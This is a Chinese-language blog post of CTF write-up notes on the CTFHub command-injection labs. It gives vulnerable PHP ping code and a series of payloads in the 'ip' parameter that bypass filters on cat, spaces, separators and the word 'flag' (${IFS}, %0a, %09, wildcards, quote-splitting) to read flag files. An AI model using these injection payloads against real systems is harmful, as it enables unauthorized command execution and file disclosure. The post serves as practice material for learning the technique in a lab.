命令执行

Linux特有:

; 前面的执行完执行后面的

Windows:

| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)

|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)

命令注入-无过滤

127.0.0.1;ls -al;

127.0.0.1;cat 65572221311708.php| base64;

过滤了cat

<?php

$res = FALSE;

if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>

显示过滤了cat

补充知识点:

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

127.0.0.1;more flag_1734911163851.php|base64;

127.0.0.1;less flag_1734911163851.php|base64;

127.0.0.1;nl flag_1734911163851.php|base64;

127.0.0.1;head flag_1734911163851.php|base64;

127.0.0.1;tail flag_1734911163851.php|base64;

过滤了空格

先用127.0.0.1;ls然后

127.0.0.1;cat<flag_22651777714854.php|base64;

127.0.0.1;cat${IFS}$9flag_22651777714854.php|base64;

127.0.0.1;{IFS}flag_22651777714854.php|base64;

可参考下面这篇文章:

【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客

命令注入-过滤运算符

这里可以这样输入12.0.0.1 ; base64 flag_287012300514850.php

CTFHub 命令注入-综合练习

if (isset($GET['ip']) && $GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } }

这一关过滤了| & ; cat flag ctfhub 空格

cat可以用more、less、tac等代替代替

flag可以用fla*

空格可以用< ${IFS}$9 {IFS} 代替

命令分隔符可以用%0a代替

?ip=127.0.0.1%0als

Array
(
  [0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
  [1] => flag_is_here
  [2] => index.php
)

?ip=127.0.0.1%0als%09*is_here(这里的%09*可以自动补全文件名,%09是Tab键的url编码)

flag_9312119741714.php

?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_1754153286910.php

posted @ 2024-04-13 16:39  CLLWA  阅读(12)  评论(0编辑  收藏  举报